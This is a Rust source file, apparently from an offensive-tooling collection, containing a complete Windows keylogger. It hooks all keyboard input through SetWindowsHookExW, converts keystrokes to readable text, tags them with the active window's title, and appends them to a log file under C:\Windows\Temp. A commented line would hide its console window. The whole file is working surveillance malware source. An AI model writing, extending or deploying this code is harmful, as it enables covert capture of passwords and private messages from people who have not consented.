/*
    Author: @5mukx
    Keylogger using SetWindowsHookEx
*/

// #![windows_subsystem = "windows"]

#![allow(unused_imports)]

use std::fs::OpenOptions;
use std::io::Write;
use std::ptr::{self, null_mut};
use windows_sys::Win32::Foundation::{HWND, LPARAM, LRESULT, WPARAM};
use windows_sys::Win32::System::LibraryLoader::GetModuleHandleW;
use windows_sys::Win32::UI::WindowsAndMessaging::{
    CallNextHookEx, DispatchMessageW, GetForegroundWindow, GetMessageW, GetWindowTextW, HC_ACTION,
    HHOOK, KBDLLHOOKSTRUCT, MSG, SetWindowsHookExW, TranslateMessage, UnhookWindowsHookEx,
    WH_KEYBOARD_LL, WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN,
};

use windows_sys::Win32::UI::Input::KeyboardAndMouse::{
    GetKeyState, VK_0, VK_1, VK_2, VK_3, VK_4, VK_5, VK_6, VK_7, VK_8, VK_9, VK_A, VK_ADD, VK_B,
    VK_BACK, VK_C, VK_CANCEL, VK_CAPITAL, VK_CLEAR, VK_CONTROL, VK_D, VK_DECIMAL, VK_DELETE,
    VK_DIVIDE, VK_DOWN, VK_E, VK_END, VK_ESCAPE, VK_F, VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6,
    VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12, VK_F13, VK_F14, VK_F15, VK_F16, VK_F17, VK_F18,
    VK_F19, VK_F20, VK_F21, VK_F22, VK_F23, VK_F24, VK_G, VK_H, VK_HELP, VK_HOME, VK_I, VK_INSERT,
    VK_J, VK_K, VK_L, VK_LCONTROL, VK_LEFT, VK_LSHIFT, VK_LWIN, VK_M, VK_MENU, VK_MULTIPLY, VK_N,
    VK_NEXT, VK_NUMLOCK, VK_NUMPAD0, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_NUMPAD4, VK_NUMPAD5,
    VK_NUMPAD6, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9, VK_O, VK_OEM_1, VK_OEM_2, VK_OEM_3, VK_OEM_4,
    VK_OEM_5, VK_OEM_6, VK_OEM_7, VK_OEM_CLEAR, VK_OEM_COMMA, VK_OEM_MINUS, VK_OEM_PERIOD,
    VK_OEM_PLUS, VK_P, VK_PAUSE, VK_PLAY, VK_PRINT, VK_PRIOR, VK_Q, VK_R, VK_RCONTROL, VK_RETURN,
    VK_RIGHT, VK_RSHIFT, VK_RWIN, VK_S, VK_SCROLL, VK_SELECT, VK_SEPARATOR, VK_SHIFT, VK_SLEEP,
    VK_SNAPSHOT, VK_SPACE, VK_SUBTRACT, VK_T, VK_TAB, VK_U, VK_UP, VK_V, VK_W, VK_X, VK_Y, VK_Z,
    VK_ZOOM,
};

static mut SHIFT: bool = false;
static mut LAST_WINDOW: HWND = null_mut();
static mut KEYBOARD_HOOK: HHOOK = null_mut();

unsafe extern "system" fn hook_procedure(n_code: i32, w_param: WPARAM, l_param: LPARAM) -> LRESULT {
    unsafe {
        if n_code == 0 {
            let p = &*(l_param as *const KBDLLHOOKSTRUCT);

            let vk = p.vkCode as u16;

            if w_param == WM_KEYDOWN as usize || w_param == WM_SYSKEYDOWN as usize {
                let caps = (GetKeyState(VK_CAPITAL as i32) & 0x0001) != 0;

                if vk == VK_LSHIFT || vk == VK_RSHIFT {
                    SHIFT = true;
                }

                let current_window = GetForegroundWindow();

                if current_window != LAST_WINDOW {
                    LAST_WINDOW = current_window;
                    let mut window_title = [0u16; 256];
                    GetWindowTextW(current_window, window_title.as_mut_ptr(), 256);
                    let title = String::from_utf16_lossy(&window_title)
                        .trim_end_matches('\0')
                        .to_string();

                    log_to_file(&format!("\n\n[Window: {}]\n", title));
                }
                let key = if (VK_A..=VK_Z).contains(&vk) {
                    let is_upper = SHIFT ^ caps;
                    let base_char = ((vk - VK_A + 'a' as u16) as u8) as char;
                    if is_upper {
                        base_char.to_ascii_uppercase().to_string()
                    } else {
                        base_char.to_string()
                    }
                } else if (VK_0..=VK_9).contains(&vk) {
                    match vk {
                        VK_0 => {
                            if SHIFT {
                                ")".to_string()
                            } else {
                                "0".to_string()
                            }
                        }
                        VK_1 => {
                            if SHIFT {
                                "!".to_string()
                            } else {
                                "1".to_string()
                            }
                        }
                        VK_2 => {
                            if SHIFT {
                                "@".to_string()
                            } else {
                                "2".to_string()
                            }
                        }
                        VK_3 => {
                            if SHIFT {
                                "#".to_string()
                            } else {
                                "3".to_string()
                            }
                        }
                        VK_4 => {
                            if SHIFT {
                                "$".to_string()
                            } else {
                                "4".to_string()
                            }
                        }
                        VK_5 => {
                            if SHIFT {
                                "%".to_string()
                            } else {
                                "5".to_string()
                            }
                        }
                        VK_6 => {
                            if SHIFT {
                                "^".to_string()
                            } else {
                                "6".to_string()
                            }
                        }
                        VK_7 => {
                            if SHIFT {
                                "&".to_string()
                            } else {
                                "7".to_string()
                            }
                        }
                        VK_8 => {
                            if SHIFT {
                                "*".to_string()
                            } else {
                                "8".to_string()
                            }
                        }
                        VK_9 => {
                            if SHIFT {
                                "(".to_string()
                            } else {
                                "9".to_string()
                            }
                        }
                        _ => "[UNKNOWN]".to_string(),
                    }
                } else {
                    match vk {
                        VK_SLEEP => "[SLEEP]".to_string(),
                        VK_NUMPAD0 => "0".to_string(),
                        VK_NUMPAD1 => "1".to_string(),
                        VK_NUMPAD2 => "2".to_string(),
                        VK_NUMPAD3 => "3".to_string(),
                        VK_NUMPAD4 => "4".to_string(),
                        VK_NUMPAD5 => "5".to_string(),
                        VK_NUMPAD6 => "6".to_string(),
                        VK_NUMPAD7 => "7".to_string(),
                        VK_NUMPAD8 => "8".to_string(),
                        VK_NUMPAD9 => "9".to_string(),
                        VK_MULTIPLY => "*".to_string(),
                        VK_ADD => "+".to_string(),
                        VK_SEPARATOR => "-".to_string(),
                        VK_SUBTRACT => "-".to_string(),
                        VK_DECIMAL => ".".to_string(),
                        VK_DIVIDE => "/".to_string(),
                        VK_F1 => "[F1]".to_string(),
                        VK_F2 => "[F2]".to_string(),
                        VK_F3 => "[F3]".to_string(),
                        VK_F4 => "[F4]".to_string(),
                        VK_F5 => "[F5]".to_string(),
                        VK_F6 => "[F6]".to_string(),
                        VK_F7 => "[F7]".to_string(),
                        VK_F8 => "[F8]".to_string(),
                        VK_F9 => "[F9]".to_string(),
                        VK_F10 => "[F10]".to_string(),
                        VK_F11 => "[F11]".to_string(),
                        VK_F12 => "[F12]".to_string(),
                        VK_F13 => "[F13]".to_string(),
                        VK_F14 => "[F14]".to_string(),
                        VK_F15 => "[F15]".to_string(),
                        VK_F16 => "[F16]".to_string(),
                        VK_F17 => "[F17]".to_string(),
                        VK_F18 => "[F18]".to_string(),
                        VK_F19 => "[F19]".to_string(),
                        VK_F20 => "[F20]".to_string(),
                        VK_F21 => "[F21]".to_string(),
                        VK_F22 => "[F22]".to_string(),
                        VK_F23 => "[F23]".to_string(),
                        VK_F24 => "[F24]".to_string(),
                        VK_NUMLOCK => "[NUM-LOCK]".to_string(),
                        VK_SCROLL => "[SCROLL-LOCK]".to_string(),
                        VK_BACK => "[BACK]".to_string(),
                        VK_TAB => "[TAB]".to_string(),
                        VK_CLEAR => "[CLEAR]".to_string(),
                        VK_RETURN => "[ENTER]".to_string(),
                        VK_SHIFT => "[SHIFT]".to_string(),
                        VK_CONTROL => "[CTRL]".to_string(),
                        VK_MENU => "[ALT]".to_string(),
                        VK_PAUSE => "[PAUSE]".to_string(),
                        VK_CAPITAL => "[CAP-LOCK]".to_string(),
                        VK_ESCAPE => "[ESC]".to_string(),
                        VK_SPACE => "[SPACE]".to_string(),
                        VK_PRIOR => "[PAGEUP]".to_string(),
                        VK_NEXT => "[PAGEDOWN]".to_string(),
                        VK_END => "[END]".to_string(),
                        VK_HOME => "[HOME]".to_string(),
                        VK_LEFT => "[LEFT]".to_string(),
                        VK_UP => "[UP]".to_string(),
                        VK_RIGHT => "[RIGHT]".to_string(),
                        VK_DOWN => "[DOWN]".to_string(),
                        VK_SELECT => "[SELECT]".to_string(),
                        VK_PRINT => "[PRINT]".to_string(),
                        VK_SNAPSHOT => "[PRTSCRN]".to_string(),
                        VK_INSERT => "[INS]".to_string(),
                        VK_DELETE => "[DEL]".to_string(),
                        VK_HELP => "[HELP]".to_string(),
                        VK_LWIN => "[WIN]".to_string(),
                        VK_RWIN => "[WIN]".to_string(),
                        VK_LSHIFT => "[SHIFT]".to_string(),
                        VK_RSHIFT => "[SHIFT]".to_string(),
                        VK_LCONTROL => "[CTRL]".to_string(),
                        VK_RCONTROL => "[CTRL]".to_string(),
                        VK_OEM_1 => {
                            if SHIFT {
                                ":".to_string()
                            } else {
                                ";".to_string()
                            }
                        }
                        VK_OEM_PLUS => {
                            if SHIFT {
                                "+".to_string()
                            } else {
                                "=".to_string()
                            }
                        }
                        VK_OEM_COMMA => {
                            if SHIFT {
                                "<".to_string()
                            } else {
                                ",".to_string()
                            }
                        }
                        VK_OEM_MINUS => {
                            if SHIFT {
                                "_".to_string()
                            } else {
                                "-".to_string()
                            }
                        }
                        VK_OEM_PERIOD => {
                            if SHIFT {
                                ">".to_string()
                            } else {
                                ".".to_string()
                            }
                        }
                        VK_OEM_2 => {
                            if SHIFT {
                                "?".to_string()
                            } else {
                                "/".to_string()
                            }
                        }
                        VK_OEM_3 => {
                            if SHIFT {
                                "~".to_string()
                            } else {
                                "`".to_string()
                            }
                        }
                        VK_OEM_4 => {
                            if SHIFT {
                                "{".to_string()
                            } else {
                                "[".to_string()
                            }
                        }
                        VK_OEM_5 => {
                            if SHIFT {
                                "\\".to_string()
                            } else {
                                "|".to_string()
                            }
                        }
                        VK_OEM_6 => {
                            if SHIFT {
                                "}".to_string()
                            } else {
                                "]".to_string()
                            }
                        }
                        VK_OEM_7 => {
                            if SHIFT {
                                "\"".to_string()
                            } else {
                                "'".to_string()
                            }
                        }
                        VK_PLAY => "[PLAY]".to_string(),
                        VK_ZOOM => "[ZOOM]".to_string(),
                        VK_OEM_CLEAR => "[CLEAR]".to_string(),
                        VK_CANCEL => "[CTRL-C]".to_string(),
                        _ => "[UNKNOWN]".to_string(),
                    }
                };
                log_to_file(&key);
            } else if w_param == WM_KEYUP as usize
                && (p.vkCode == VK_LSHIFT as u32 || p.vkCode == VK_RSHIFT as u32)
            {
                SHIFT = false;
            }
        }
        CallNextHookEx(KEYBOARD_HOOK, n_code, w_param, l_param)
    }
}

fn log_to_file(content: &str) {
    if let Ok(mut file) = OpenOptions::new()
        .create(true)
        .append(true)
        .open(r"C:\Windows\Temp\log.txt")
    {
        let _ = writeln!(file, "{}", content);
    }
}

fn unhook_keyboard() {
    unsafe {
        UnhookWindowsHookEx(KEYBOARD_HOOK);
    }
}

fn main() {
    unsafe {
        println!("[*] Logger started");

        let h_instance = GetModuleHandleW(ptr::null());

        if h_instance.is_null() {
            println!("Failed to get module handle");
            return;
        }

        KEYBOARD_HOOK = SetWindowsHookExW(WH_KEYBOARD_LL, Some(hook_procedure), h_instance, 0);
        
        if KEYBOARD_HOOK.is_null() {
            println!("Failed to set hook");
            return;
        }
        println!("[*] KeyCapture started handler set");

        let mut msg: MSG = std::mem::zeroed();

        while GetMessageW(
            &mut msg, 
            null_mut(), 
            0, 
            0
        ) > 0 {
            TranslateMessage(&msg);
            DispatchMessageW(&msg);
        }

        unhook_keyboard();
    }
}
